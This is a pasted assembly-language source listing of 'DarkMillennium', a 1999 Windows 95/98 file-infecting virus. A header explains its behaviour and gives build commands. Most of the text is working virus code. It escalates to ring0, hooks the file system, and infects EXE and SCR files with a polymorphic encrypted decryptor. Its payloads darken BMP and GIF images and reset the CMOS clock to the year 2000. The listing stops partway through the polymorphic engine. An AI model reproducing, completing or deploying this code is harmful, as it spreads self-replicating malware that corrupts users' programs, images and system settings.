· 2 years ago · Jun 19, 2023, 09:50 AM
1
2; DarkMillennium Project
3; developed by Clau / Ultimate Chaos
4;
5; The Project is a Win95/98 compatible virus.
6; Also this is my first virus that infects PE files.
7;
8; Greets goes to all Ultimate Chaos members and all people in VX scene.
9; Respect to all of you.
10;
11;----------------
12; DESCRIPTION |
13;----------------
14;
15; on program load :
16; - it proccess a polymorphic decryptor
17; - it is made in 2 parts
18; - 1. Finding the key that encryption was made with (between 0 ... 65535)
19; - 2. Decrypt the code with that key
20; - check if it is already resident
21; - if not, go into ring0
22; - get memory with GetHeap
23; - copy itself into allocated memory
24; - hook the API (InstallFileSystemAPIhook)
25; -return to host program
26; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB
27; - check if extension is EXE/SCR
28; - check if the file format is PE
29; - if so, infect the file
30; - Generate random polymorphic decryptor, and write it to file
31; - Encrypt the code with a simple XOR method using a random key witch is never saved
32; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and write them
33; into the file, until all the code is encrypted and written. This method is slower,
34; but low memory is used.
35; - check for a condition and if it is true then display a message box trough VxD call
36; payloads, the condition is the number of infected files be equal to infected_nr_trigger
37; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me with this nice payload
38; - on BMP and GIF open they will go darker and darker on every open
39; - on some BMPs and GIFs the effect is more cool, I can say strange
40;
41;----------------------------------------
42; Polymoprhic engine description |
43;----------------------------------------
44;
45; This is my first poly engine.
46; - random junk code
47; - do nothing instructions (instructions that do not interfer with the decryptor)
48; - they are 1, 2 or more bytes instructions, and more instructions combined
49; - 1 byte - cmc, clc, stc, nop
50; - 2 bytes - a range of INTs
51; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions
52; that are used in decryptor, without interfering with the decryptor (it use regs
53; that are not used in decrypt process)
54; - more ways to do the same thing instructions
55; example : MOV EAX, 12345678h <=> PUSH 12345678h
56; POP EAX
57; - the decryptor size can be ~ 3 times bigger then the original decryptor
58; - if the decryptor is smaller then the decryptor before, the space between it and the encrypted code
59; will be filled with junk.
60;
61;
62; Compile with:
63; tasm32 /m3 /ml darkmillennium.asm
64; tlink32 /Tpe /aa /x darkmillennium.obj, darkmillennium.exe, , import32.lib
65;
66; report any bugs to clau@ultimatechaos.org
67;
68
69.386p
70.model flat
71
72extrn ExitProcess:proc
73extrn MessageBoxA:proc
74
75VxDCall macro vxd_id, service_id
76 int 20h
77 dw service_id
78 dw vxd_id
79 endm
80
81IFSMgr = 0040h ; VxD service
82GetHeap = 000dh
83InstallFileSystemAPIhook = 0067h
84Ring0_FileIO = 0032h
85UniToBCSPath = 0041h
86IFSFN_OPEN = 36
87IFSFN_RENAME = 37
88IFSFN_FILEATTRIB = 33
89R0_opencreatefile = 0d500h ; open/create file
90R0_readfile = 0d600h ; read a file, no context
91R0_writefile = 0d601h ; write to a file, no context
92R0_closefile = 0d700h ; close a file
93exception_int = 3
94exe_ext = 'EXE.'
95scr_ext = 'RCS.'
96bmp_ext = 'PMB.'
97gif_ext = 'FIG.'
98virussize = _end - Start
99virussize_plus_buffers = virussize + ( _end_2 - _end )
100polyengine_size = _end - GenDecryptor
101infected_nr_trigger = 200
102
103.code
104
105Begin:
106 push 64
107 push offset w_title
108 push offset copyright
109 push 0
110 call MessageBoxA
111 jmp Start
112
113.data
114
115;-------------------- Start Code -------------------
116
117Start: call Delta
118Delta: mov esi, esp
119 mov ebp, dword ptr ss:[esi]
120 sub ebp, offset Delta
121
122 pushad
123 lea esi, [ebp + key - Start] ; address of code key
124 add esi, offset Start
125 xor di, di ; key for decryption
126find_loop: inc di
127 mov ax, [esi] ; load code key in eax
128 xor ax, di ; decrypt it with the key from edi
129 cmp ax, 9090h ; check if edi key is OK
130 jnz find_loop ; if not jump to find_loop
131
132 ; now edi = the key for decryption
133 lea esi, [ebp + Encr_Code - Start]
134 add esi, offset Start
135 mov ecx, virussize
136decr_loop: xor word ptr [esi], di
137 add esi, 2
138 sub ecx, 2
139 cmp ecx, 1
140 jg decr_loop
141
142 popad
143
144 ; "alocate" space equal to current decryptor size, incase that the next generated decryptors
145 ; will be bigger, and it will be bigger then this one
146 ; this space will be filled with random junk instructions
147 db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone
148
149Encr_Code:
150key dw 9090h
151 jmp virus_code
152
153;-------------------- Data Zone -------------------
154
155IDT_Address dq 0
156flag db 0
157newaddress dd 0
158exception dd 0
159old_offset dd 0
160filename db 260 dup (0)
161handle dd 0
162crt_move dd 0
163peheader dd 0
164S_Align dd 0
165F_Align dd 0
166sec_ptr dd 0
167Old_EIP dd 0
168SOI dd 0
169virusplace dd 0
170imagebase dd 0
171infected_files dw 0
172
173SEH_nextpointer dd ?
174SEH_oldpointer dd ?
175SEH_errorhandler dd ?
176
177IMAGE_DOS_HEADER struc
178 MZ_magic dw ?
179 MZ_cblp dw ?
180 MZ_cp dw ?
181 MZ_crlc dw ?
182 MZ_cparhdr dw ?
183 MZ_minalloc dw ?
184 MZ_maxalloc dw ?
185 MZ_ss dw ?
186 MZ_sp dw ?
187 MZ_csum dw ?
188 MZ_ip dw ?
189 MZ_cs dw ?
190 MZ_lfarlc dw ?
191 MZ_ovno dw ?
192 MZ_res dw 4 dup (?)
193 MZ_oemid dw ?
194 MZ_oeminfo dw ?
195 MZ_res2 dw 10 dup (?)
196 MZ_lfanew dd ?
197IMAGE_DOS_HEADER ends
198IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
199
200IMAGE_FILE_HEADER struc
201 PE_Magic dd ?
202 Machine dw ?
203 NumberOfSections dw ?
204 TimeDateStamp dd ?
205 PointerToSymbolTable dd ?
206 NumberOfSymbols dd ?
207 SizeOfOptionalHeader dw ?
208 Characteristics dw ?
209IMAGE_FILE_HEADER ends
210IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER
211
212IMAGE_DATA_DIRECTORY struc
213 dd_VirtualAddress dd ?
214 dd_Size dd ?
215IMAGE_DATA_DIRECTORY ends
216
217IMAGE_DIRECTORY_ENTRIES struc
218 DE_Export IMAGE_DATA_DIRECTORY ?
219 DE_Import IMAGE_DATA_DIRECTORY ?
220 DE_Resource IMAGE_DATA_DIRECTORY ?
221 DE_Exception IMAGE_DATA_DIRECTORY ?
222 DE_Security IMAGE_DATA_DIRECTORY ?
223 DE_BaseReloc IMAGE_DATA_DIRECTORY ?
224 DE_Debug IMAGE_DATA_DIRECTORY ?
225 DE_Copyright IMAGE_DATA_DIRECTORY ?
226 DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
227 DE_TLS IMAGE_DATA_DIRECTORY ?
228 DE_LoadConfig IMAGE_DATA_DIRECTORY ?
229 DE_BoundImport IMAGE_DATA_DIRECTORY ?
230 DE_IAT IMAGE_DATA_DIRECTORY ?
231IMAGE_DIRECTORY_ENTRIES ends
232IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
233
234IMAGE_OPTIONAL_HEADER struc
235 OH_Magic dw ?
236 OH_MajorLinkerVersion db ?
237 OH_MinorLinkerVersion db ?
238 OH_SizeOfCode dd ?
239 OH_SizeOfInitializedData dd ?
240 OH_SizeOfUninitializedData dd ? ; Uninitialized Data
241 OH_AddressOfEntryPoint dd byte ptr ? ; Initial EIP
242 OH_BaseOfCode dd byte ptr ? ; Code Virtual Address
243 OH_BaseOfData dd byte ptr ? ; Data Virtual Address
244 OH_ImageBase dd byte ptr ? ; Base of image
245 OH_SectionAlignment dd ? ; Section Alignment
246 OH_FileAlignment dd ? ; File Alignment
247 OH_MajorOperatingSystemVersion dw ? ; Major OS
248 OH_MinorOperatingSystemVersion dw ? ; Minor OS
249 OH_MajorImageVersion dw ? ; Major Image version
250 OH_MinorImageVersion dw ? ; Minor Image version
251 OH_MajorSubsystemVersion dw ? ; Major Subsys version
252 OH_MinorSubsystemVersion dw ?
253 OH_Win32VersionValue dd ? ; win32 version
254 OH_SizeOfImage dd ? ; Size of image
255 OH_SizeOfHeaders dd ? ; Size of Header
256 OH_CheckSum dd ? ; unused
257 OH_Subsystem dw ? ; Subsystem
258 OH_DllCharacteristics dw ? ; DLL characteristic
259 OH_SizeOfStackReserve dd ? ; Stack reserve
260 OH_SizeOfStackCommit dd ? ; Stack commit
261 OH_SizeOfHeapReserve dd ? ; Heap reserve
262 OH_SizeOfHeapCommit dd ? ; Heap commit
263 OH_LoaderFlags dd ? ; Loader flags
264 OH_NumberOfRvaAndSizes dd ? ; Number of directories
265 UNION ; directory entries
266 OH_DataDirectory IMAGE_DATA_DIRECTORY\
267 IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
268 OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
269 ends
270 ends
271IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
272
273IMAGE_SECTION_HEADER struc
274 SH_Name db 8 dup (?)
275 UNION
276 SH_PhusicalAddress dd byte ptr ?
277 SH_VirtualSize dd ?
278 ends
279 SH_VirtualAddress dd byte ptr ?
280 SH_SizeOfRawData dd ?
281 SH_PointerToRawData dd byte ptr ?
282 SH_PointerToRelocations dd byte ptr ?
283 SH_PointerToLinenumbers dd byte ptr ?
284 SH_NumberOfRelocations dw ?
285 SH_NumberOfLinenumbers dw ?
286 SH_Characteristics dd ?
287IMAGE_SECTION_HEADER ends
288IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
289
290mz_header IMAGE_DOS_HEADER ?
291pe_header IMAGE_FILE_HEADER ?
292oh_header IMAGE_OPTIONAL_HEADER ?
293section IMAGE_SECTION_HEADER ?
294
295;-------------------- Real Code Zone ------------------
296
297virus_code: mov eax, dword ptr fs:[00h]
298 mov dword ptr [ebp + SEH_nextpointer], eax
299 mov dword ptr [ebp + SEH_oldpointer], eax
300 lea eax, [ebp + return_to_host]
301 mov dword ptr [ebp + SEH_errorhandler], eax
302 lea eax, [ebp + SEH_nextpointer]
303 mov dword ptr fs:[00h], eax
304
305 sidt [ebp + IDT_Address]
306 mov esi, dword ptr [ebp + IDT_Address + 2]
307 add esi, exception_int * 8
308 mov dword ptr [ebp + exception], esi
309 mov bx, word ptr [esi + 6]
310 shl ebx, 10h
311 mov bx, word ptr [esi]
312 mov dword ptr [ebp + old_offset], ebx
313 lea eax, [ebp + offset Ring0]
314 mov word ptr [esi], ax
315 shr eax, 10h
316 mov word ptr [esi + 6], ax
317
318 mov eax, 0c000e990h
319 cmp dword ptr [eax], '2000'
320 jne go_into_ring0
321 jmp already_installed
322
323go_into_ring0: int exception_int ; This will jump us to Ring0 proc in ring0 mode
324
325already_installed: mov esi, dword ptr [ebp + exception]
326 mov ebx, dword ptr [ebp + old_offset]
327 mov word ptr [esi], bx
328 shr ebx, 10h
329 mov word ptr [esi + 6], bx
330
331return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer]
332 mov dword ptr fs:[00h], eax
333
334exit: cmp ebp, 0
335 je generation_1
336 mov eax, [ebp + Old_EIP]
337 add eax, [ebp + imagebase]
338 jmp eax
339
340generation_1: push 0
341 call ExitProcess
342
343Ring0 proc
344 pusha
345
346 ; Get some memory
347 mov eax, virussize_plus_buffers + 100
348 push eax
349 patch1_val equ GetHeap + 256 * 256 * IFSMgr
350 patch1 label far
351 VxDCall IFSMgr, GetHeap
352 pop ecx
353 or eax, eax
354 jz no_free_mem
355
356 ; Copy into memory
357 xchg eax, edi
358 lea esi, dword ptr [ebp + Start]
359 push edi
360 mov ecx, _end - Start
361 rep movsb
362 pop edi
363 mov dword ptr [ebp + newaddress], edi
364 mov dword ptr [edi + delta1 - Start], edi
365
366 ; hook API
367 lea eax, [edi + API_hook - Start]
368 push eax
369 patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr
370 patch2 label far
371 VxDCall IFSMgr, InstallFileSystemAPIhook
372 pop ebx
373 mov [edi + nexthook - Start], eax
374 jmp success
375
376no_free_mem: jmp back_to_ring3
377
378success: mov eax, 0c000e990h
379 mov dword ptr [eax], '2000'
380 mov byte ptr [edi + flag - Start], 0
381
382back_to_ring3: popad
383 iretd
384Ring0 endp
385
386API_hook: push ebp
387 mov ebp, esp
388 sub esp, 20h
389
390 push ebx
391 push esi
392 push edi
393
394 db 0bfh
395delta1 dd 0
396
397 cmp byte ptr [edi + flag - Start], 1
398 je over_now
399
400 cmp dword ptr [ebp + 12], IFSFN_OPEN ; open action
401 je action_ok
402 cmp dword ptr [ebp + 12], IFSFN_RENAME ; rename action
403 je action_ok
404 cmp dword ptr [ebp + 12], IFSFN_FILEATTRIB ; attributes action
405 je action_ok
406 jmp over_now
407
408action_ok: mov byte ptr [edi + flag - Start], 1
409 pusha
410 lea esi, [edi + filename - Start]
411
412 mov eax, [ebp + 16]
413 cmp al, 0ffh
414 je no_path
415 add al, 40h
416 mov byte ptr [esi], al
417 inc esi
418 mov byte ptr [esi], ':'
419 inc esi
420 mov byte ptr [esi], '\'
421
422 ; Unicode conversion
423no_path: push 0 ; BCS/WANSI code
424 push 260 ; maximum filename
425 mov eax, [ebp + 28] ; get IOREQ
426 mov eax, [eax + 12]
427 add eax, 4
428 push eax ; push filename
429 push esi ; push destination
430
431 patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr
432 patch3 label far
433 VxDCall IFSMgr, UniToBCSPath
434 add esp, 4 * 4
435 add esi, eax
436 mov byte ptr [esi], 0
437
438 ; Check extension for '.EXE'
439 cmp dword ptr [esi - 4], exe_ext
440 je check_2
441
442 ; Check extension for '.BMP'
443 cmp dword ptr [esi - 4], bmp_ext
444 jne check_gif_ext
445 call bmp_Payload
446
447 ; Check extension for '.GIF'
448check_gif_ext:
449 cmp dword ptr [esi - 4], gif_ext
450 jne check_scr_ext
451 call gif_Payload
452
453 ; Check extension for '.SCR' = screensaver
454check_scr_ext:
455 cmp dword ptr [esi - 4], scr_ext
456 jne not_exe
457
458 ; Open the file
459check_2: lea esi, [edi + filename - Start]
460 call file_open
461 jc not_exe
462 mov dword ptr [edi + handle - Start], eax
463
464 ; Read DOS header
465 lea esi, [edi + mz_header - Start]
466 mov ebx, dword ptr [edi + handle - Start]
467 mov ecx, IMAGE_DOS_HEADER_SIZE
468 mov edx, 0
469 call file_read
470
471 ; Check if really EXE file ( 'MZ' signature )
472 lea esi, [edi + mz_header - Start]
473 mov ax, word ptr [esi.MZ_magic]
474 cmp ax, 5a4dh
475 jne fileclose
476
477 ; Locate the PE header
478 mov esi, dword ptr [esi.MZ_lfanew]
479 cmp esi, 500h
480 ja fileclose
481
482 ; Save the pos of the PE header
483 mov dword ptr [edi + crt_move - Start], esi
484 mov dword ptr [edi + peheader - Start], esi
485
486 ; Read the PE header
487 lea edx, [edi + pe_header - Start]
488 mov ebx, dword ptr [edi + handle - Start]
489 mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
490 xchg esi, edx
491 call file_read
492
493 add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
494
495 ; Check for 'PE' signature
496 lea esi, [edi + pe_header - Start]
497 mov eax, dword ptr [esi.PE_Magic]
498 cmp eax, 00004550h
499 jne fileclose
500
501 ; Check for DLL signature
502 cmp dword ptr [esi.Characteristics], 2000h
503 je fileclose
504
505 ; Locate the last section and read it
506 xor eax, eax
507 mov ax, word ptr [esi.NumberOfSections]
508 mov ecx, IMAGE_SECTION_HEADER_SIZE
509 dec eax
510 mul ecx
511 mov esi, eax
512 add esi, dword ptr [edi + crt_move - Start]
513 mov dword ptr [edi + sec_ptr - Start], esi
514
515 ; Read the last section
516 lea edx, [edi + section - Start]
517 mov ecx, IMAGE_SECTION_HEADER_SIZE
518 mov ebx, dword ptr [edi + handle - Start]
519 xchg esi, edx
520 call file_read
521
522 ; Verify if already infected
523 lea esi, [edi +oh_header - Start]
524 cmp dword ptr [esi.OH_Win32VersionValue], '2000'
525 je fileclose
526
527 mov eax, dword ptr [esi.OH_SectionAlignment]
528 mov [edi + S_Align - Start], eax
529 mov eax, dword ptr [esi.OH_FileAlignment]
530 mov [edi + F_Align - Start], eax
531 mov eax, dword ptr [esi.OH_AddressOfEntryPoint]
532 mov [edi + Old_EIP - Start], eax
533 mov eax, dword ptr [esi.OH_SizeOfImage]
534 mov [edi + SOI - Start], eax
535 mov eax, dword ptr [esi.OH_ImageBase]
536 mov [edi + imagebase - Start], eax
537
538 ; Update the section
539 lea esi, [edi + section - Start]
540 mov eax, dword ptr [esi.SH_PointerToRawData]
541 add eax, dword ptr [esi.SH_VirtualSize]
542 mov dword ptr [edi + virusplace - Start], eax
543 mov eax, dword ptr [edi.SH_SizeOfRawData]
544 add eax, virussize
545 mov ecx, dword ptr [edi + F_Align - Start]
546 push eax
547 push ecx
548 xor edx, edx
549 div ecx
550 pop ecx
551 sub ecx, edx
552 pop eax
553 add eax, ecx
554 mov dword ptr [esi.SH_SizeOfRawData], eax
555 mov eax, dword ptr [esi.SH_VirtualSize]
556 add eax, virussize
557 mov dword ptr [esi.SH_VirtualSize], eax
558
559 ; Set the new characteristics for the section
560 or dword ptr [esi.SH_Characteristics], 00000020h ; code
561 or dword ptr [esi.SH_Characteristics], 20000000h ; executable
562 or dword ptr [esi.SH_Characteristics], 80000000h ; writable
563
564 ; Update the PE header
565 ; first the size of image wich is aligned to section alignment
566 lea esi, [edi + oh_header - Start]
567 mov eax, dword ptr [edi + SOI - Start]
568 add eax, virussize
569 mov ecx, dword ptr [edi + S_Align - Start]
570 push eax
571 push ecx
572 xor edx, edx
573 div ecx
574 pop ecx
575 sub ecx, edx
576 pop eax
577 add eax, ecx
578 mov dword ptr [esi.OH_SizeOfImage], eax
579
580 ; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size - Virus Size )
581 lea esi, [edi + section - Start]
582 mov eax, dword ptr [esi.SH_VirtualAddress]
583 add eax, dword ptr [esi.SH_VirtualSize]
584 sub eax, virussize
585 lea esi, [edi + oh_header - Start]
586 mov dword ptr [esi.OH_AddressOfEntryPoint], eax
587
588 ; Mark the infection
589 mov dword ptr [esi.OH_Win32VersionValue], '2000'
590
591 ; Write section to file
592 lea edx, [edi + section - Start]
593 mov ecx, IMAGE_SECTION_HEADER_SIZE
594 mov ebx, dword ptr [edi + handle - Start]
595 mov esi, dword ptr [edi + sec_ptr - Start]
596 xchg edx, esi
597 call file_write
598
599 ; Write headers to file
600 lea edx, [edi + pe_header - Start]
601 mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
602 mov ebx, dword ptr [edi + handle - Start]
603 mov esi, dword ptr [edi + peheader - Start]
604 xchg edx, esi
605 call file_write
606
607 ; Patch the code
608 mov cx, 20cdh
609 mov word ptr [edi + patch1 - Start], cx
610 mov eax, patch1_val
611 mov dword ptr [edi + patch1 - Start + 2], eax
612 mov word ptr [edi + patch2 - Start], cx
613 mov eax, patch2_val
614 mov dword ptr [edi + patch2 - Start + 2], eax
615 mov word ptr [edi + patch3 - Start], cx
616 mov eax, patch3_val
617 mov dword ptr [edi + patch3 - Start + 2], eax
618 mov word ptr [edi + patch4 - Start], cx
619 mov eax, patch4_val
620 mov dword ptr [edi + patch4 - Start + 2], eax
621 mov word ptr [edi + patch5 - Start], cx
622 mov eax, patch5_val
623 mov dword ptr [edi + patch5 - Start + 2], eax
624
625 ; reset the infected_files counter
626 mov ax, 0
627 mov word ptr [edi + infected_files - Start], ax
628
629 ; Generate decryptor
630 pushad
631 mov ebp, edi
632 call GenDecryptor
633 popad
634
635 ; Call Payload
636 call Payload
637
638 ; Write decryptor
639 mov edx, edi
640 mov ecx, Encr_Code - Start
641 mov ebx, dword ptr [edi + handle - Start]
642 mov esi, dword ptr [edi + virusplace - Start]
643 xchg edx, esi
644 call file_write
645
646 mov edx, dword ptr [edi + virusplace - Start]
647 add edx, Encr_Code - Start
648 mov dword ptr [edi + virusplace - Start], edx ; update virusplace
649
650 ; Get random key for encryption in cx
651 mov eax, 0FFFFh
652 call random_in_range ; will return in ax a random number
653 xchg ax, cx
654
655 ; Write encrypted area to file
656 lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt
657 xor eax, eax ; counter
658
659write_loop: call copy_in_buffer
660 inc edx
661 inc edx
662
663 push eax ; save counter
664 push ecx ; save the key
665 push edx ; save location pointer in code
666
667 ; Write buffer in file
668 mov ebx, dword ptr [edi + handle - Start]
669 mov ecx, 2
670 mov edx, dword ptr [edi + virusplace - Start]
671 lea esi, [edi + encryption_buffer - Start]
672 call file_write
673
674 mov edx, dword ptr [edi + virusplace - Start]
675 inc edx
676 inc edx
677 mov dword ptr [edi + virusplace - Start], edx
678
679 pop edx ; restore loc. pointer
680 pop ecx ; restore the key
681 pop eax ; restore counter
682 inc eax
683 inc eax
684 cmp eax, _end - Encr_Code
685 jle write_loop
686
687 ; Close the file
688fileclose: mov ebx, dword ptr [edi + handle - Start]
689 call file_close
690
691not_exe: popa
692
693over_now: mov byte ptr [edi + flag - Start], 0 ; Set flag to 0
694 mov eax, [ebp + 28]
695 push eax
696 mov eax, [ebp + 24]
697 push eax
698 mov eax, [ebp + 20]
699 push eax
700 mov eax, [ebp + 16]
701 push eax
702 mov eax, [ebp + 12]
703 push eax
704 mov eax, [ebp + 08]
705 push eax
706
707 db 0b8h
708nexthook dd 0
709 call [eax]
710
711 add esp, 6 * 4
712
713 pop edi
714 pop esi
715 pop ebx
716
717 leave
718 ret
719
720; Copy a word from code in encryption_buffer and encrypt it
721; cx = key for encryption
722; edx = pointer in code
723copy_in_buffer proc
724 pushad
725 mov bx, word ptr [edx]
726 xor bx, cx
727 mov [edi + encryption_buffer - Start], bx
728 popad
729 ret
730
731encryption_buffer dw 0
732
733copy_in_buffer endp
734
735get_rnd proc
736 push bx
737 xor bx, ax
738 xor bx, cx
739 xor bx, dx
740 xor bx, sp
741 xor bx, bp
742 xor bx, si
743 xor bx, di
744 in al, 40h
745 xor bl, al
746 in al, 40h
747 add bh, al
748 in al, 41h
749 sub bl, al
750 in al, 41h
751 xor bh, al
752 in al, 42h
753 add bl, al
754 in al, 42h
755 sub bh, al
756 xchg bx, ax
757 pop bx
758 ret
759get_rnd endp
760
761
762; Ring0 File_IO
763;-------------------------
764Ring0_File_IO proc
765 patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr
766 patch4 label far
767 VxDCall IFSMgr, Ring0_FileIO
768 ret
769Ring0_File_IO endp
770
771file_open proc
772 mov bx, 2
773 mov cx, 0
774 mov dx, 1
775 mov eax, R0_opencreatefile
776 call Ring0_File_IO
777 ret
778file_open endp
779
780file_close proc
781 mov eax, R0_closefile
782 call Ring0_File_IO
783 ret
784file_close endp
785
786file_read proc
787 mov eax, R0_readfile
788 call Ring0_File_IO
789 ret
790file_read endp
791
792file_write proc
793 mov eax, R0_writefile
794 call Ring0_File_IO
795 ret
796file_write endp
797
798Payload proc
799
800 ; Check the number of infected files
801 pushad
802 mov ax, word ptr [edi + infected_files - Start] ; check the number of infected files
803 inc ax ; increase the counter with 1
804 mov word ptr [edi + infected_files - Start], ax
805 cmp ax, infected_nr_trigger
806 jne not_yet
807
808 mov ax, 0 ; reset the counter
809 mov word ptr [edi + infected_files - Start], ax
810 ; the counter will also be reseted at in every new infected file
811
812 ; (on every infected_nr_trigger will trigger a message box)
813 lea eax, [edi + WinTitle - Start]
814 mov [edi + TitleOff - Start], eax
815 lea eax, [edi + WinText - Start]
816 mov [edi + TextOff - Start], eax
817 lea ebx, [edi + WinBox - Start]
818
819 patch5_val equ 001Ah + 256 * 256 * 002Ah
820 patch5 label far
821 VxDCall 002Ah, 001Ah
822
823 ; give a try with random_in_range
824 ; (number between 0 and 10000)
825not_yet: mov eax, 10000
826 call random_in_range
827 cmp eax, 500
828 jg end_payload
829
830 ; as you see if the random number =< 500 then test the PC for year 2000 compatibilite :)
831 ; infact it will jump into year 2000
832 ; the chances to do it are 5%
833 mov al, 07h
834 out 70h, al
835 mov al, 01h
836 out 71h, al ; day of the month
837 mov al, 08h
838 out 70h, al
839 mov al, 01h
840 out 71h, al ; month to January
841 mov al, 09h
842 out 70h, al
843 mov al, 00h
844 out 71h, al ; year (0 = 2000)
845 ; by the way ... this is a good test, you will see if your computer is compatible with year 2000 ;)
846 ; so i recommend you get infected with DarkMillennium
847
848end_payload:popad
849 ret
850
851WinBox dd ?
852butt1 dw 0
853butt2 dw 0001
854butt3 dw 0
855TitleOff dd offset WinTitle
856TextOff dd offset WinText
857
858WinTitle db 'DarkMillennium Project',0
859WinText db 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10
860 db 'www.ultimatechaos.org', 10
861 db 'Greets to all VXers out there !', 0
862
863Payload endp
864
865copyright db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 0
866copyright_end:
867
868bmp_Payload proc
869 pushad
870
871 ; Open the file
872 lea esi, [edi + filename - Start]
873 call file_open
874 mov dword ptr [edi + handle - Start], eax
875
876 ; Read file
877 lea esi, [edi + gfx_buffer - Start]
878 mov ebx, [edi + handle - Start]
879 mov ecx, 256
880 mov edx, 54
881 call file_read
882
883 ; Change the things arround
884 lea esi, [edi + gfx_buffer - Start]
885 mov ecx, 256
886
887bmp_dark: cmp byte ptr [esi], 5
888 jl bmp_color_1
889 sub byte ptr [esi], 5
890bmp_color_1:inc esi
891 cmp byte ptr [esi], 5
892 jl bmp_color_2
893 sub byte ptr [esi], 5
894bmp_color_2:inc esi
895 cmp byte ptr [esi], 5
896 jl bmp_color_out
897 sub byte ptr [esi], 5
898bmp_color_out:
899 add esi, 2
900 sub ecx, 4
901 cmp ecx, 0
902 jne bmp_dark
903
904 ; Write file
905 lea esi, [edi + gfx_buffer - Start]
906 mov ecx, 256
907 mov ebx, [edi + handle - Start]
908 mov edx, 54
909 call file_write
910
911 ; Close file
912 mov ebx, [edi + handle - Start]
913 call file_close
914
915 popad
916 ret
917bmp_Payload endp
918
919gif_Payload proc
920
921; Thanks goes to MidNyte for helping me with informations and code
922
923 pushad
924
925 ; Open the file
926 lea esi, [edi + filename - Start]
927 call file_open
928 mov dword ptr [edi + handle - Start], eax
929
930 ; Read file
931 lea esi, [edi + gfx_buffer - Start]
932 mov ebx, eax
933 mov ecx, 10Dh
934 mov edx, 0000h
935 call file_read
936
937 xor ecx, ecx
938 mov cl, byte ptr [edi + gfx_buffer + 000Ah - Start]
939 and cl, 00000111b
940 cmp cl, 0
941 je exit_gif_payload ; somethin' is wrong
942
943 mov ax, 2
944get_colours:shl ax, 1
945 loop get_colours
946
947 mov cx, ax
948 shl ax, 1
949 add cx, ax
950 lea esi, [edi + gfx_buffer - Start]
951 add esi, 000Dh
952
953 push edi
954 mov edi, esi
955darken: lodsb
956 cmp al, 14h
957 jb skip_entry
958 sub al, 14h
959 stosb
960skip_entry: loop darken
961 pop edi
962
963 ; Write buffer back to file
964 lea esi, [edi + gfx_buffer - Start]
965 mov ebx, [edi + handle - Start]
966 mov ecx, 10Dh
967 mov edx, 0 ; loc. to write in file
968 call file_write
969
970exit_gif_payload:
971 ; Close file
972 mov ebx, [edi + handle - Start]
973 call file_close
974
975 popad
976 ret
977gif_Payload endp
978
979
980; ------------------------------------------------------------
981;| Poly Engine |
982; ------------------------------------------------------------
983
984; Generate decryptor
985; EBP = location for decryptor
986GenDecryptor proc
987
988 xchg ebp, edi
989 call InitRegGenerator
990 call GenerateRegisters
991
992 ; call 00000000h
993 mov al, 0E8h
994 stosb
995 mov eax, 00000000h
996 stosd
997
998 ; Generate Junk
999 xchg ebp, edi
1000 call GenerateJunk
1001 xchg ebp, edi
1002
1003 ; mov reg1, ESP
1004 mov cl, byte ptr [ebp + reg_1 - Start]
1005 mov ch, 04h ; ESP
1006 mov ax, 0001h
1007 xchg ebp, edi
1008 call GenPutX1X2
1009 xchg ebp, edi
1010
1011 ; Generate Junk
1012 xchg ebp, edi
1013 call GenerateJunk
1014 xchg ebp, edi
1015
1016 ; mov reg_2, ss:[reg_1]
1017 mov cl, byte ptr [ebp + reg_2 - Start]
1018 mov ch, byte ptr [ebp + reg_1 - Start]
1019 mov ax, 0101h
1020 xchg ebp, edi
1021 call GenPutX1X2
1022 xchg ebp, edi
1023
1024 ; Generate Junk
1025 xchg ebp, edi
1026 call GenerateJunk
1027 xchg ebp, edi
1028
1029 ; sub reg_2, offset Delta
1030 mov al, 81h
1031 stosb
1032 mov al, byte ptr [ebp + reg_2 - Start]
1033 add al, 0E8h
1034 stosb
1035 mov eax, offset Delta
1036 stosd
1037
1038 ; Generate Junk
1039 xchg ebp, edi
1040 call GenerateJunk
1041 xchg ebp, edi
1042
1043 ; xchg reg_2, ebp
1044 mov al, 87h
1045 stosb
1046 mov al, byte ptr [ebp + reg_2 - Start]
1047 add al, 0E8h
1048 stosb
1049
1050 ; Generate Junk
1051 xchg ebp, edi
1052 call GenerateJunk
1053 xchg ebp, edi
1054
1055 call GenerateRegisters
1056
1057 ; pushad
1058 mov al, 60h
1059 stosb
1060
1061 ; Generate Junk
1062 xchg ebp, edi
1063 call GenerateJunk
1064 xchg ebp, edi
1065
1066 ; lea reg_1, [ebp + key - Start] -> key offset will be setted later
1067 mov al, 8Dh
1068 stosb
1069 mov al, byte ptr [ebp + reg_1 - Start]
1070 mov ebx, 8
1071 mul ebx
1072 add al, 85h
1073 stosb
1074
1075 mov [ebp + var2 - Start], edi ; save EDI offset, for later use
1076 mov eax, 00000000h
1077 stosd
1078
1079 ; Generate Junk
1080 xchg ebp, edi
1081 call GenerateJunk
1082 xchg ebp, edi
1083
1084 ; add reg_1, offset Start
1085 mov al, 81h
1086 stosb
